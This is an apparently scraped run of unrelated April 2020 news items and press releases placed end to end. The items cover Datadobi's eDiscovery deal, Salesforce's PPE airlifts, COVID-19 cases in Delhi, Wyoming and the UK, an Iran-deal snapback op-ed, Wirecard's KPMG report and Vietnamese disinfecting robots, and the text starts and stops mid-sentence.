for our industry-leading and award-winning solutions, made up of research, data, software, and professional services, assembled to deliver a seamless customer experience. We create confidence in thousands of organizations worldwide, with our commitment to excellence, open mindset approach, and focus on meeting customer needs. For more information about Moody's Analytics, visit our website or connect with us on Twitter or LinkedIn. Moody's Analytics, Inc. is a subsidiary of Moody's Corporation (NYSE: MCO). Moody's Corporation reported revenue of $4.8 billion in 2019, employs approximately 11,100 people worldwide and maintains a presence in 40 countries. View source version on businesswire.com: https://www.businesswire.com/news/home/20200428005420/en/ Contacts: TRACEY SCOTT Moody's Analytics Communications +44.207.772.5207 Moody's Analytics Media Relations moodysanalytics.com twitter.com/moodysanalytics linkedin.com/company/moodysanalytics [April 28, 2020] George Jon Selects Datadobi to Deliver Data Migration for its Leading eDiscovery Platform Datadobi, the global leader in unstructured data migration software, has been selected by eDiscovery platform, process, and product specialist George Jon, to power its data migration services for clients across the corporate, legal, and managed services sectors. George Jon builds and launches best-in-class, secure eDiscovery environments, from procurement and buildout, and requires a data migration solution that provides clients with fast and reliable file transfer capabilities. They've managed projects for all of the 'Big Four' accounting firms and members of the Am Law 100, among many others. George Jon selected Datadobi as its standard data migration tool based on performance, with Datadobi offering faster data transfer rates than other methods. In addition, Datadobi's ease of use and the ability to monitor migration activity from a centralized console saves considerable time for the George Jon team and its customers. The comprehensive reporting capabilities also offered by Datadobi gives George Jon the ability to simplify file management throughout the migration process. The George Jon eDiscovery platform enables scalable, performant and cost-effective discovery, governance, and investigation platforms for eDiscovery users worldwide. By taking highly complicated, mission-critical data discovery program and making it easier, less expensive, faste, and better, the solution drives bottom-line value and peace of mind, allowing users to focus on core business and make informed decisions. The announcement follows the recent launch of Datadobi DobiMigrate 5.8, which delivers an enhanced chain of custody that, by default, proves every document, file, or electronic object is an exact copy of its counterpart on the source system at the time of cutover. This allows organizations to move or merge unstructured data between platforms-in the cloud or on-premises without the worry of knowing whether the data was in fact copied exactly. "In searching for best-of-breed migration technology, we evaluated a number of vendors and Datadobi not only provided the most accomplished and powerful set of capabilities, but we have been working very effectively with their team to provide George Jon clients with excellent service," explained Jordan McQuown, VP of Technology at George Jon. "We look forward to building on the success of projects already completed and building a long-term relationship." "George Jon are innovative leaders in their field and it's a great vote of confidence in Datadobi that they have selected our technology," said Carl D'Halluin, CTO of Datadobi. "Data migration is a key requirement for many of their clients who need the reliable, fast, and accurate transfer processes we provide as part of their eDiscovery strategy." About George Jon, Inc. George Jon is an eDiscovery platform, product and process specialist, delivering performant, scalable, fault tolerant environments. We work with global corporations, leading law firms, government agencies, and independent resellers/hosting companies to quickly and strategically implement large-scale eDiscovery platforms, troubleshoot and perfect existing systems, and provide unprecedented 24/7 core services to ensure maximum platform performance and uptime. Employing a modular framework that has been tested and perfected over almost a decade and a half of R&D, environments can be customized (i.e., scaled) to individual client needs, budgets and requirements (storage, compute, and application availability & tier). The best practices developed by George Jon have become the standard for global eDiscovery systems, driving productivity, profits and peace of mind throughout the industry. For more information, please visit georgejon.com. About Datadobi Datadobi, a global leader in data management and storage software solutions, brings order to unstructured storage environments so that the enterprise can realize the value of their expanding universe of data. Their software allows customers to migrate, archive, and protect data while discovering insights and putting them to work for their business. Datadobi takes the pain and risk out of the data storage process, and does it ten times faster than other solutions at the best economic cost point. Founded in 2010, Datadobi is a privately held company headquartered in Leuven, Belgium, New York, and Melbourne. For more information, visit www.datadobi.com, and follow us on Twitter and LinkedIn (News - Alert). View source version on businesswire.com: https://www.businesswire.com/news/home/20200428005104/en/ [ Back To TMCnet.com's Homepage ] TDT | Manama A batch of 157 Bahraini citizens, including students, who were stranded in Egypt returned home last night. Their evacuation was part of the precautionary measures undertaken by the Kingdom due to the coronavirus (COVID-19) crisis. His Majesty King Hamad bin Isa Al Khalifa had issued royal directives to provide all support to Bahraini citizens wishing to come back home, in coordination with the Foreign Affairs Ministry. Bahrains Ambassador-Designate to Egypt and the Permanent Representative to the Arab League Hisham bin Mohammed Al Jowder followed up on the procedures at the Cairo International Airport to ensure the citizens safe return. He commended the Egyptian authorities for their cooperation in facilitating the citizens repatriation. He said that the Embassy had received support from the Egyptian Ministry of Foreign Affairs and other various authorities, praising the efforts of all Embassy employees to facilitate the procedures for the return of the citizens. YEREVAN, APRIL 28, ARMENPRESS. The extraordinary session convened by the government has kicked in the Parliament of Armenia on April 28. The agenda includes the package of bills on making changes and amendments to the Law on the 2020 State Budget of Armenia, the Law on the Legal Regime of the State of Emergency, as well as the Law on Normative Legal Acts. The lawmakers will also debate the package of bills on making amendments and changes to the Labor Code and the related bills. Editing and Translating by Aneta Harutyunyan Sam Hawgood, the chancellor of the University of California, San Francisco, was getting concerned. It was March 19, coronavirus cases in California were rising at an alarming rate, and UCSF, one of the Bay Areas major medical providers, was already running perilously low on personal protective equipment. The universitys usual suppliers in the United States were short on masks and face shields, and there was no sign that the state of California or the federal government was coming to the rescue. The supply chain had really dried up, Hawgood said. So Hawgood called Marc Benioff, the hyperconnected billionaire who is a founder and the chief executive of Salesforce. In some ways, it was the natural call to make. Benioff gave the university $100 million to build a childrens hospital in 2010 and remained a major benefactor. But there was no reason to think Benioff, who runs an enterprise software company, could quickly muster a supply chain for personal protective equipment, especially during a global pandemic. Nonetheless, that phone call set off a frenzied effort by Benioff and his team that drew in major companies like FedEx, Walmart, Uber and Alibaba. In a matter of weeks, Benioffs team spent more than $25 million to procure more than 50 million pieces of protective equipment. Fifteen million units have already been delivered to hospitals, medical facilities and states, and more are on the way. The relative ease with which Salesforce acquired so much protective gear stands in sharp contrast to the often chaotic government efforts. While states have had to compete against each other for scarce supplies and the strategic national stockpile of protective gear is depleted, Benioff and his team simply called up their business partners in China and started writing checks. Other Silicon Valley executives, including Tim Cook of Apple, have also tapped their connections to help get needed supplies to hospitals. Jack Dorsey, chief executive of Twitter, pledged $1 billion to fight coronavirus. And many individuals and companies with vested interests in China have begun similar campaigns. After Benioff got off the call with Hawgood on that Thursday, he called Daniel Zhang, chief executive of Alibaba, the enormous e-commerce marketplace. Last year, Salesforce and Alibaba announced a partnership meant to give Salesforce customers better access to the Chinese market, and teams from the two companies had been working closely. Benioff told Zhang that UCSF, an institution he cared deeply about, was in need. Zhang said he would help. In San Francisco, Benioff tapped Ryan Aytay, one of the chief executives of Quip, a Salesforce productivity tool, to lead the effort. When Aytay reached out to his contacts at Alibaba that same day, they had already received the message from Zhang. Within hours, the teams from Salesforce and Alibaba began collaborating, with the Alibaba employees identifying trusted suppliers who might be able to fulfill Salesforces requests. Aytay got in touch with Hawgood, who said that UCSF needed masks, gowns, face shields and swabs. With Benioffs approval, Aytay realigned his 25-person team to focus exclusively on the effort and brought in colleagues from other Salesforce departments. Buying the gear was one thing, but getting it to the United States would be another. Initially, I thought we were going to be able to use the U.S. military to bring it in, Benioff said. That was naive on my part. Realizing he would need to charter planes and trucks, and hoping to speed things along, Benioff reached out to Fred Smith, the founder of FedEx, who put the Salesforce team in touch with his son, Richard Smith, a high-ranking FedEx executive. In San Francisco, Aytay and his team decided to buy only from companies that someone they knew well could personally vouch for. Setting up a trust network was very important, Aytay said. By March 22, the Salesforce team identified the first promising tip. The Jointown Pharmaceutical Group, a large Chinese company, had 500,000 surgical masks in a warehouse in Los Angeles. But when Aytay called the Jointown office in China, no one there spoke English. Aytay had a member of his team who spoke Mandarin call back and negotiate the deal, and they soon agreed to buy all the masks for $300,000. The money was wired directly from Benioffs family office that day. Three days later, on March 25, the masks arrived at UCSF on trucks that FedEx provided at a discounted rate. Once it was apparent that the Salesforce team could obtain and deliver supplies, they took steps to formalize their efforts and set a lofty target. We did the math when we started, and thought we were going to acquire a billion pieces of PPE, Benioff said. It was a typically ambitious goal from Benioff. This year, he led an effort to plant 1 trillion trees. The Salesforce team set up a website, www.1bppe.com, (the b is for billion) to obtain leads and give Aytay a new email address, since his Salesforce inbox was overloaded. They set up a daily meeting with UCSF to monitor progress. And they gave their team a name: Maskforce. On Friday, March 27, Benioff joined a weekly call organized by the Business Roundtable, a lobbying group. With about 100 other chief executives on the line, he described his efforts and said that if anyone wanted to help, or knew of hospitals that desperately needed supplies, they could call him. Soon after that, Benioff got a text from Virginia M. Rometty, a former chief executive of IBM, who said that hospitals in New York were in dire need of equipment. Aytay and his team had been buying more gear in China, and within days, a 747 was on its way to New York, full of medical supplies. But when the plane landed, Aytays contacts at the Federal Emergency Management Agency and in New York said that instead of going directly to hospitals, the equipment should be sent to a warehouse in Albany where New York state was coordinating distribution. There were other setbacks. On March 26, the Salesforce team secured 2 million surgical masks from a source in Shenzen, China. But on their way from the warehouse to the airport, 1.5 million went missing. They were sold right off the truck, Aytay said. It was the Wild Wild West. By March 29, 10 days after Hawgood called Benioff, Salesforce had found more than 50 million pieces of protective equipment, with millions already delivered. Their work was being noticed. On March 31, Aytay spoke with California Gov. Gavin Newsom and shared his list of suppliers. The next week, President Donald Trump thanked Salesforce for its donations during his daily press briefing. At one point, Aytay was in his garage talking to an Irish supplier when the supplier asked him to hold. When he came back on the line, he had patched in Bono, the U2 frontman, who wanted to collaborate. The gear continued to arrive. A 747 loaded with protective masks and other equipment landed in San Francisco on April 2. The next week, Uber Freight donated four trailer trucks to help transport equipment from multiple locations to UCSF. The supplies allowed UCSF to institute a mandatory mask policy. Its made a huge difference, Hawgood said. On April 12, two planes landed in Chicago carrying 1.3 million pieces of protective gear that Salesforce, Walmart and State Farm had bought in China. Aytays team had been in touch with FEMA to identify emerging hot spots. When the planes arrived, Walmart trucks picked up the gear and drove it to Michigan and Louisiana. We wanted to get gear to underrepresented communities, Aytay said. In the last weeks, it has become apparent that early social distancing measures have worked in the San Francisco area, and UCSF is unlikely to need all the supplies that Salesforce delivered. Now, faced with a surplus, the company and university are sending excess gear to hospitals and medical institutions with more acute needs. This article originally appeared in The New York Times. After being admitted to the Intensive Care Unit with coronavirus in March, Assemblyman Brian Miller, R-101, announced Tuesday that he has been moved out of the ICU at St. Lukes Hospital. As I start the process of rehabilitation today, I feel extremely fortunate and truly blessed. Those who have been so thoughtful, kind and supportive have all been part of a miracle, said Miller. Miller, 60, was tested on March 20 and received his diagnosis a week later. He says he has an immense amount of gratitude for the hospital staff that has treated him over the past month. There are no words to express the amount of appreciation I have for the professionals at Mohawk Valley Health Systems. Their constant care and unwavering attention during my illness will never be forgotten. They are a credit to health care workers who fight this battle every day, putting themselves at risk in order to help others, said Miller. As I start the process of rehabilitation today, I feel extremely fortunate and truly blessed. Those who have been so thoughtful, kind and supportive have all been part of a miracle. Miller says he thanks not only the hospital staff, but the community for showing him support during such a difficult time. I also want to extend my heartfelt thanks to those who offered their support and encouragement during the past several weeks. The outpouring of love from our community and from people throughout New York was profoundly moving. This has been an extremely difficult time for me and my family, but the thoughts and prayers of so many have helped in more ways than I could have imagined, he said. While dealing with the effects of coronavirus first hand, Miller is encouraging residents to follow guidelines put in place by health professionals for their own safety, and the safety of others. I want to encourage all New Yorkers to take every possible precaution to stay safe and healthy. Listen to the advice of medical professionals. Follow recommended preventative measures and guidance like hand-washing, wearing masks and social distancing. While I am blessed to take an important step, I recognize that there is no instant recovery from this illness. Our fight and my fight against COVID-19 is far from over, he said. Miller represents the 101st Assembly district, which includes portions of Delaware, Herkimer, Oneida, Orange, Ostego, Sullivan, and Ulster counties. A Delhi Police constable posted with the Crime Branch who allegedly visited the Nizamuddin headquarters of the Tablighi Jamaat in south Delhi tested positive for coronavirus recently, police said on Tuesday. The constable had visited the Markaz building in connection with the probe into the religious congregation held there last month where many people were reported to have contracted the virus, they said. A case has been registered against Maulana Saad of the Nizamuddin headquarters of the Tablighi Jamaat under relevant sections of the Epidemic Diseases Act and Indian Penal Code for allegedly violating government orders with regard to the management of the centre pertaining to holding social, political or religious gatherings. According to police, around 15 team members of the Crime Branch who came in contact with the constable have been advised home quarantine after he tested positive for the virus. More than 21 Delhi Police personnel have tested positive for the novel coronavirus which include 14 from the central district, six from northwest district and one from the traffic police. The Delhi Police has sanctioned Rs 1 lakh each to its personnel who have tested positive for coronavirus while on duty. The police headquarters will arrange the payment from the Delhi Police Welfare Society for the personnel expeditiously through the DCPs concerned, police said. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Is the United States still a participant in the Iran nuclear deal? Well, yes and no. The U.S. is seeking to maintain an international conventional-arms embargo on Iran thats set to expire in October. The embargo was included in the enabling resolutions that the United Nations Security Council passed as part of the 2015 Joint Comprehensive Plan of Action (JCPOA), otherwise known as the Iran nuclear deal. Its restrictions on small-arms sales to Iran expire this year, with its ban on the sale of missile parts and other weapons extending another three years. The State Department is promoting a new Security Council resolution that would extend the embargo indefinitely, which is certain to face opposition from Russia or China, both of whom have veto power. It would be smarter to simply activate the snapback mechanism in the JCPOA, restoring the entire pre-agreement U.N. sanctions regime and killing the deal for good. Critics might object that President Trump withdrew the United States from the JCPOA two years ago, so Washington has no standing to engage its snapback provision. But its not that simple. The Obama administration could have tried to craft a binding, entirely self-contained multilateral treaty, which would be more clear-cut a country would either be a signatory to the treaty or not. But Obamas team knew it lacked the influence to craft a deal that the U.S. Senate would approve as a formal treaty, or even the minimal political clout to change the existing sanctions regime. So instead negotiators came up with what amounted to an executive agreement to use temporary loopholes in existing U.S. law to lift American sanctions, and crafted an omnibus 104-page Security Council resolution, UNSCR 2231, to clean things up on the U.N. side. And whatever the status of the JCPOA, UNSCR 2231 is still operative, and the United States, as a U.N. member state, is still a participant in it. There are several ways in which the JCPOA can self-destruct under UNSCR 2231. Article 26 tells us that Iran would consider the re-introduction of sanctions as grounds to cease performing its commitments under this JCPOA in whole or in part. The United States has already re-imposed sanctions, and Iran has been enriching uranium well beyond the limits of the agreement, meaning both conditions for the deals destruction have been met. Story continues Article 10, meanwhile, notes one means of resolution, in which any JCPOA participant State can bring a complaint. Critics claim this means that the U.S. cant scuttle the JCPOA, because it is no longer such a participant state. But thats not quite right, either. The dispute-resolution mechanism detailed in Article 36 allows any of the E3/EU+3, including the U.S., to refer a case of significant non-performance of duties under the JCPOA to a Joint Commission and Advisory Board for a series of reviews over 30 days. If the complaining participant is not satisfied with the outcome of this process, it may notify the UN Security Council that it believes the issue constitutes significant non-performance. Here is the beautiful part: Once that notification occurs, Article 37 gives the Security Council 30 days to consider a resolution to continue the sanctions lifting i.e. to leave the deal in place. If it fails to pass such a resolution in that time period, the provisions of the old UN Security Council resolutions would be re-imposed. This is the so-called snap back that we have heard so much about. And because it kicks in automatically unless the Security Council passes a continuing resolution, the veto power that Russia and China hold as permanent Security Council members is irrelevant, and the veto power that the U.S. similarly holds is decisive. The United States has every right under UNSCR 2231 to bring the matter of Iranian non-compliance to the Joint Commission. For that matter, Iran could file a complaint against the United States on the same grounds. The fact that Iran has not yet done so tells us that it knows where that process would lead, and is a great argument for the U.S. to start the clock ticking immediately. Presented with a poison pill, pro-Iranian members of the Security Council may decide that extending the current arms embargo is the lesser of two evils. But either way, the Trump administration will win. More from National Review The Delhi High Court has directed that arrests in connection with the recent riots in the national capital, shall be done in accordance with the Supreme Court guidelines related to arrest and detention. The direction was issued by a bench of Justices Siddharth Mridul and Talwant Singh which also issued notice to the Centre, Delhi government and police seeking their stand on a plea alleging that arrests in connection with the riots were being made during the coronavirus or COVID-19 pandemic. The plea, by an organisation of Islamic scholars called Jamiat Ulama-I-Hind, has contended that when the apex court had said there was a need to decongest jails in wake of coronavirus, the police was arresting people "on the pretext of investigation of offences related to the Delhi riots" earlier this year. The petition, filed through advocate Mohd Taiyab Khan, also contended that if left unchecked, the action of Delhi Police would "frustrate" the top court's order to decongest jails. The Centre, during the hearing conducted via video conferencing, told the bench that all the arrests made so far and those which would be made in future, shall be strictly in accordance with guidelines laid down by the Supreme Court. "Directed accordingly," the court said on Monday after noting the Centre's submission and listed the matter for further hearing on June 24. The bench also said that all the individuals who according to the petition have been arrested so far, "are at liberty to institute appropriate proceedings in accordance with law, including seeking regular bail..". The petitioner organisation has claimed in its plea that police "unilaterally and arbitrarily" arrested persons from their homes during lockdown without informing their families the reasons for arrest. The petition has sought that police officials be restrained from picking up or arresting persons in connection with the 2020 Delhi riots on the pretext of investigation and sending them to jail during the lockdown period. It has also sought that the investigation into the riots be put on hold till another plea moved by the organisation seeking an SIT probe into the violence is decided by the high court. The plea also seeks departmental action and contempt proceedings against concerned police officials who allegedly violated the guidelines laid down by the Supreme Court regarding arrest and detention of accused persons. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Bollywood actor Kangana Ranaut completes 14 years in Bollywood with Tuesday being the 14th anniversary of her debut film, Gangster. She played the role of Shiney Ahujas lover in the film, Gangster. Directed by Anurag Basu, the film proved to be a surprise hit and Kangana even won the Filmfare award for best female debut that year. Revealing why her friend picked up the award, Kangana said in a press statement, I had no idea that I was nominated. When the team was leaving for the event, they asked me about my travel plans. I had no idea how to go to Singapore, where to stay, and I was too embarrassed to even ask my crew about ticket prices. So I missed that opportunity. When I won, Bobby Singh, DOP of Gangster and Queen, who is sadly no more, called and said he is getting my trophy. I was thrilled and its one of my fondest memories. After Gangster, Kangana appeared in films like Woh Lamhe, Life In a Metro....., among others before landing a milestone project with Madhur Bhandarkars Fashion which won her the first National Film Award for best Actress in supporting role in 2008. Also read: Kalki Koechlin strums the guitar and sings a Portuguese lullaby to daughter Sappho, watch However, it was not before Aanad L Rais Tanu Weds Manu in 2011 that Kangana gained a cult following in both critical and commercial aspects. With her unapologetic portrayal of the protagonist in the film that starred R Madhavan opposite her, Kangana managed to establish a strong fan base in tier two and three cities and towns, the main Hindi heartland. She was soon seen in Vikas Bahls Queen which won her the second National Film award. Courting controversies about her personal as well as professional life, Kangana has started her own production house and co-directed Manikarnika. She will next be seen in a biopic on former Tamil Nau chief minister and late actor-turned politician Jayalalithaa. Follow @htshowbiz for more The emergence of a coronavirus cluster within the Fremont County transient population has highlighted the challenge of managing the virus when it starts to spread among homeless groups. With a group of transient residents in Fremont County testing positive for the coronavirus last week contributing to a recent steep rise in reported cases a health official says the county is setting up temporary housing to keep them isolated and monitor their health. Meanwhile, an official said the county would stop breaking down cases by municipality because of reports that some on social media had been spreading rumors and harassment. But convincing the transient population to stay in one place, away from others, while meeting their needs, poses a challenge. Even monitoring and keeping those with confirmed or likely cases has been, and will continue to be, difficult, according to Dr. Paul Ebbert, chief medical officer at the Northern Arapaho-operated Wind River Family and Community Healthcare. In addition to often having preexisting health conditions, members of the community often struggle with addiction. Its not so much to keep them all in one place as it is to allow them to quarantine safely in a place where they have adequate services and food without them having to ask family members to risk being exposed, he said. And those same people may be hesitant to quarantine or self-isolate because they might not have access to alcohol or be tempted to leave wherever they are when they feel the need to drink, he said. Ebbert said that community can be a challenge because theyll often spend time in Riverton, congregating with others, potentially doing risky things like sharing bottles, before going home or to stay with a relative. Using a man who was part of that transient community who tested positive but didnt finish his quarantine period as an example, Ebbert said those concerns about moving from place to place and infecting others caused the tribes to be aggressive about testing those who are known to be a part of the Riverton transient population. Sometimes theyll go (to Riverton) and then theyll wander back in to their homes, their relatives homes, which is a huge risk, obviously, especially to the elders of the tribe, he said. So we decided to do some targeted testing in Riverton where we would actually go out and find these people. And as those tests would come back, they had a lot of positives. A lot of that community was infected. As of Monday afternoon, the number of confirmed COVID-19 cases in the county stood at 98, up from 53 on Friday, according to the Fremont County Incident Management team. It is now the most cases in any Wyoming county. Part of the increase over the weekend was among area grocery store workers who didnt exhibit any symptoms of the virus, according to county officials. They didnt specify the number of employees who tested positive or where they worked. The other population mostly responsible for the spike, according to officials, is the areas transient population. At least 10, with more expected, tested positive last week, the Incident Management Team said Friday, adding that county and tribal officials were deciding how to manage that cluster. The jump in cases doesnt necessarily signal more rapid transmission, but is a result of expanded testing and contact tracing, Ebbert and Fremont County Public Health Officer Dr. Brain Gee said separately in a Monday news release. Ebbert and Incident Management Team spokesman Mike Jones said they expect the number of confirmed cases to continue to surge as the county increases its testing capabilities and the tribes and county more aggressively conduct contact tracing. The Northern Arapaho Tribe hired a company to build temporary housing for the areas transient population, and for those already with the virus, to self-isolate or quarantine, Ebbert said. They had been temporarily housed at a tribal gym on the reservation, with some being quarantined at the Wind River Hotel & Casino with other tribal members in quarantine. But because of existing health problems, and having to deal with other problems like addiction, he said its been hard to keep that population in one place, and he anticipates those struggles will continue. And many other tribal members who are quarantining at the casino have raised concerns about members of the transient community going back and forth or bringing others to the casino. The temporary housing, however, will allow members of that community to voluntarily go to self-isolate and avoid potentially infecting family members while also receiving meals and medical treatment, Ebbert said. Pointing fingers Some say the increase in cases, attributed partly to cases among Rivertons transient population, and recent deaths of tribal members has fueled worries about some trying to place blame on one group for the virus spread in Fremont County. The countys first confirmed case originated at the Showboat retirement facility, spreading among residents and staff before it became more widespread across Fremont County and the Wind River Reservation. We have had some concerns about backlash in the community (and) weve had some tribal members harassed even though its not something that started in the Native community, Ebbert said. That caused the county to stop breaking down case numbers by location, Fremont County Incident Management Team spokesman Mike Jones said. Until late last week, the county had been specifying the communities like Lander, Riverton, Dubois or the Wind River Reservation in which the confirmed patients lived. Weve heard of some incidents and so weve decided not to separate out where these cases are coming because of that, he said, adding that a lot of the incidents he had heard about were on social media. During a web address last week, Eastern Shoshone Business Council Vice-Chair Karen Snyder attempted to quell any rumors that the first confirmed case came from the reservation while encouraging unity, collaboration and open, candid discussions and working to flatten the curve. Gee, the Fremont County public health officer, said last week during a press conference that numbers can also be hurtful, as they can make us ... point fingers, adding that the virus indiscriminately infects people, especially when in close contact. COVID 19 did not start on the Wind River Reservation our tribal members were exposed through an exposure outside of our borders, Snyder said in her address. Please do not place blame or point fingers, as that is the type of divisive behavior that creates barriers. Concerned about COVID-19? Sign up now to get the most recent coronavirus headlines and other important local and national news sent to your email inbox daily. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. MUNICH (dpa-AFX) - Wirecard AG (WRCDF.PK) said Tuesday that it was handed the report on the special investigation by the auditing company KPMG. No incriminating evidence was found for the publicly raised accusations of balance sheet manipulation. The company will publish the full report on its website as soon as possible. The publication of the annual financial statements and the annual press conference will not take place on April 30, the company said. The company said KPMG did not find any manipulation in its audit of the company's operations in India, Singapore, Third Party Partner Business, Merchant Cash Advance and Digital Lending divisions. The company said KPMG didn't find any manipulation in all four areas of the audit that would have led to a need for correction of the annual financial statements for the 2016, 2017 and 2018 period. KPMG identified documentation and organizational weaknesses in the periodunder review, which have already been identified by Wirecard. It has have been remedied by setting up the Global Compliance Organization and with the support of external consultants. KPMG sees no further need for an audit of Wirecard's business activities inSingapore beyond that already carried out as part of the audit of the 2018 annual financial statements. Since October 2019, KPMG has been conducting a special investigation on behalf of the Supervisory Board of Wirecard in order to clarify the accusations of balance sheet manipulation made against the company by media. The accusations made against the business activities of Wirecard AG on Indian territory (EMIF1A / Hermes i-Tickets Private Ltd), in the city-state of Singapore as well as the business segments of pre-financing of receivables (Merchant Cash Advance (MCA) / Digital Lending) and third-party partner business (3rd Party Acquiring / TPA) were being investigated. Copyright RTT News/dpa-AFX Kostenloser Wertpapierhandel auf Smartbroker.de Vietnamese-developed robots have been manufactured within a short time to be put into use in the fight against Covid-19. Scientists began thinking of manufacturing robots for use in hospitals in mid-March when Nguyen Van Kinh, chair of the Vietnam Association of Infectious Diseases, suggested applying robotic technology in the fight against the epidemic. Robots have been very useful in China. The robots can carry food to patients and take body temperature. They also help ease the workload of the healthcare system and reduce risks faced by medical workers. In Vietnam, cleaning and disinfecting areas with infectious pathogens has traditionally been done manually by medical workers. The problem has been solved thanks to the appearance of the robot army developed by Vietnamese scientists. A robotics research team at the Ton Duc Thang University has launched two disinfecting robot models called CD 1.0 (Covid Defender 1.0) and DR 1.0 (Disinfection Robot 1.0). CD 1.0 is remotely controlled from a distance of 2,000 meters at maximum. With an arm designed as a nozzle, the robot model is used to spray disinfectants in the isolation and treatment areas. Vietnamese-developed robots have been manufactured within a short time to be put into use in the fight against Covid-19. The maximum tonnage that CD 1.0 can carry is 170 kilograms. This robot can work for about 6 hours with the maximum travel speed of 15 kilometers per hour. A smartphone is attached to the body of the robot, allowing observation and remote control via video calls. In addition to disinfectant spraying, CD 1.0 in the future can be used in fire prevention and extinguishment, and rescue work in emergency situations. Meanwhile, DR 1.0 is a self-propelled robot with the ability to remember workspaces, repeat the journeys and automatically move in accordance with the itineraries set for it. DR 1.0 can carry things and can kill bacteria by radiating ultraviolet rays to destroy the DNA structure of bacteria. The advantage of the solution is that it doesnt use chemicals, so it is friendly to humans. The Eastern People Military Hospital in HCMC has invented another disinfecting robot model per an order from the HCMC Healthcare Department. The robot has two major functions spraying disinfectants and cleaning the floor after the spraying. In addition, it can disinfect itself before leaving isolation areas. It can be remotely controlled via 4G connection or internet. The citys healthcare department said all the hospitals treating Covid-19 patients will be equipped with the robot. The Vibot-1a robot created by Military Technical Academy (MTA) in accordance with the US Aethons TUG model, can assist the transportation of medicine, food and necessities, and help carry waste in hospitals and isolation areas. Trong Dat WHO, UK certify Vietnams COVID-19 test kit The World Health Organisation (WHO)'s medical product evaluation agency has sent a letter informing the certification of the SARS-CoV-2 testing kit LightPower iVA SARS-CoV-2 1st RT-rPCR. The government's global death comparison. New data shows how the UKs coronavirus death toll is increasing at a higher rate than other badly hit countries such as Italy, Spain and France. The graph, released by Number 10 on Tuesday afternoon, shows a comparison of different countries death rates since 50 were recorded in each one. When all settings such as hospitals and care homes are taken into account, it shows how the UK is ranking far above Italy, Spain and France. The only country with a higher death rate is the United States, which is nearing one million confirmed COVID-19 cases. Latest coronavirus news, updates and advice Live: Follow all the latest updates from the UK and around the world Fact-checker: The number of COVID-19 cases in your local area 6 charts and maps that explain how COVID-19 is spreading The worrying trend comes on a day when the UKs official death toll in hospitals rose by 586 to 21,678. This compares to the latest official death tolls in Italy (26,977), Spain (23,822) and France (23,293), according to Johns Hopkins University. Meanwhile, at the governments daily coronavirus press conference on Tuesday, health secretary Matt Hancock said the Department of Health will start recording care home and community deaths in addition to the hospital figures which are currently released every day. He said it was part of an effort to bring as much transparency as possible to the death figures, saying it will add to our understanding of how this virus is spreading day by day. In the same briefing, Hancock said the government is expanding the criteria for people who can be tested for COVID-19. He announced that all people with coronavirus symptoms aged over 65 along with members of their households, as well as workers who have to leave home in order to do their jobs and their households, would be eligible for testing from Wednesday. He said: From construction workers to emergency plumbers, from research scientists to those in manufacturing, the expansion of access to testing will protect the most vulnerable and help keep people safe. Story continues Its possible because weve expanded capacity for testing thus far. Coronavirus: what happened today What could the next phase of coronavirus restrictions look like? Matt Hancock has said he is very worried after children have been left in intensive care from a new disease thought to be linked to coronavirus. The health secretary said on Tuesday that experts are "looking into it with great urgency" following reports of a new illness in children. Speaking to LBC, he said: It's a fresh, new disease that we think may be caused by coronavirus and the COVID-19 virus. "We're not 100% sure because some of the people who got it hadn't tested positive. Health secretary Matt Hancock has said some children have died from a new disease linked to COVID-19 (AFP via Getty Images) Hancocks comments follow a warning from NHS England on Sunday of a coronavirus-related syndrome emerging in children. "We put out at the weekend a call across the NHS because some cases of this had been identified, said Hancock. This call essentially says to doctors in other parts of the country 'have you seen this condition?' and then they collate the information and find out what's going on." Latest coronavirus news, updates and advice Live: Follow all the latest updates from the UK and around the world Fact-checker: The number of COVID-19 cases in your local area 6 charts and maps that explain how COVID-19 is spreading "We're doing a lot of research now but it is something we're worried about. "What I would also stress is that it is rare. Although it is very significant for those children who do get it the number of cases is small." One doctor told LBC presenter Nick Ferrari he was aware of about 10 children being taken to hospital with the new disease. The NHS sent a letter warning of an apparent rise in admissions of children to intensive care as a result of the condition. According to the Paediatric Intensive Care Society (PICS), the letter says: In the last three weeks, there has been an apparent rise in the number of children of all ages presenting with a multi-system inflammatory state requiring intensive care across London and also in other regions of the UK. It adds: There is a growing concern that a [COVID-19] related inflammatory syndrome is emerging in children in the UK, or that there may be another, as yet unidentified, infectious pathogen associated with these cases. Story continues Watch the video below The NHS alert said a small number of children have shown symptoms similar to toxic shock syndrome and atypical Kawasaki disease, which affects children under five and can cause a high temperature, rash, swollen glands in the neck and red eyes. It advised GPs to refer children with symptoms such as abdominal pain as a matter of urgency. The alert said: "There is a growing concern that a SARS CoV-2 (COVID-19) related inflammatory syndrome is emerging in children in the UK, or that there may be another, as yet unidentified, infectious pathogen associated with these cases." Professor Simon Kenny, NHS national clinical director for children and young people, said: Thankfully, Kawasaki-like diseases are very rare, as currently are serious complications in children related to COVID-19, but it is important that clinicians are made aware of any potential emerging links so that they are able to give children and young people the right care fast. The advice to parents remains the same: if you are worried about your child for whatever reason, contact NHS 111 or your family doctor for urgent advice, or 999 in an emergency, and if a professional tells you to go to hospital, please go to hospital. Coronavirus: what happened today ______ Update: This article was amended at 5pm on 28 April after the Department of Health and Social Care told Yahoo News UK: The health secretary was referencing deaths were aware of that sadly related to Covid-19 not the inflammatory syndrome. We are not currently aware of any confirmed deaths related to the inflammatory syndrome. As a result, Yahoo News UK has taken all references to children dying out of the article. Mr Hancocks initial comments were: There are some children who have died who didnt have underlying health conditions. Its a new disease that we think may be caused by coronavirus and the COVID-19 virus. Were not 100 percent sure because some of the people who got it hadnt tested positive so were doing a lot of research now but it is something that were worried about. Yahoo News UK is happy to make this amendment. CANTON, Mass., April 28, 2020 /PRNewswire/ -- Nurses and healthcare professionals represented by the Massachusetts Nurses Association have launched a statewide effort urging state lawmakers to swiftly pass legislation that will presume work exposure for all healthcare workers who test positive for COVID-19 or who were exposed and quarantined. The push for presumption of occupational exposure legislation is part of the eighth letter the MNA sent to Gov. Charlie Baker on April 27 about the COVID-19 pandemic. Registered nurse and MNA President Donna Kelly-Williams also sent a letter about the legislation to all state lawmakers this week, and nurses across Massachusetts are beginning to call and email their legislators urging passage of the bill. "Nurses and other healthcare workers are putting their lives on the line every shift caring for patients with the coronavirus," Kelly-Williams said. "They have been on the front lines of this pandemic in trash bags, wearing makeshift face shields, placing their N95 masks in crumpled paper bags and riding in crowded 